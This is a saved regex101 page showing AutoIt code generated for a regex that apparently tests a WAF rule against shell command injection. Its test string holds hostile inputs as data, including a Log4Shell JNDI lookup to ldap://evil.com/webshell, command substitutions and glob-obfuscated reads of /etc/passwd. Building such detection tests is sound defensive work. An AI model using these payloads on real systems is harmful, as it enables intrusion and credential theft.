Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
Processing...

Test String

Code Generator

Generated Code

#include <StringConstants.au3> ; to declare the Constants of StringRegExp #include <Array.au3> ; UDF needed for _ArrayDisplay and _ArrayConcatenate Local $sRegex = "(?m)\$(?:\((?:[^\(\)]*|\([^\(\)]*\))\)|\{[^\{\}]*\}|\[[^\[\]]*\])|[<>]\([^\(\)]*\)|(?:/[0-9A-Z_a-z]*\[!?[^/\]]+|\[[0-9A-Z_a-z]/+)\]" Local $sString = "/get?932130-1=$(cmd)" & @CRLF & _ "932130-2=${cmd}" & @CRLF & _ "931120-3=<(cmd)" & @CRLF & _ ">(cmd)=931120-4" & @CRLF & _ "{"foo": "${:1337:-x$}{jndi:ldap://evil.com/webshell}"}" & @CRLF & _ "var=0.84622338492032948`echo${IFS}crs312``echo${IFS}34test`" & @CRLF & _ "cat /etc/pa[s]swd" & @CRLF & _ "cat /[?]tc/pa[?]swd" & @CRLF & _ "/get?s=/etc/pas[s]wd"" & @CRLF & _ "/get?s=/etc/[!q]asswd" & @CRLF & _ "/get?s=/etc/[m-z]asswd" & @CRLF & _ "/get?s=/usr/bin/[u]name+-a" & @CRLF & _ "/get?exec=/bi[n]/bash" & @CRLF & _ "/get?932130-17=$([])" & @CRLF & _ "echo $(echo $(cat /etc/passwd))" & @CRLF & _ "echo ${asd} " & @CRLF & _ "cat /etc/[p//]asswd" & @CRLF & _ "cat /[e//]tc/[p//]asswd" & @CRLF & _ "cat /[e/////////]tc/[p//]asswd" & @CRLF & _ "ls a[b///]c" & @CRLF & _ "ls *[a//]c" & @CRLF & _ "# should not match" & @CRLF & _ "932130-5=Some text (in brackets)." & @CRLF & _ "hello [text in brackets]" & @CRLF & _ "take this math expression: 1/[a/-1]" & @CRLF & _ "plase calculate the following a/[b/1234*c]" & @CRLF & _ "" & @CRLF & _ "" Local $aArray = StringRegExp($sString, $sRegex, $STR_REGEXPARRAYGLOBALFULLMATCH) Local $aFullArray[0] For $i = 0 To UBound($aArray) -1 _ArrayConcatenate($aFullArray, $aArray[$i]) Next $aArray = $aFullArray ; Present the entire match result _ArrayDisplay($aArray, "Result")

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for AutoIt, please visit: https://www.autoitscript.com/autoit3/docs/functions/StringRegExp.htm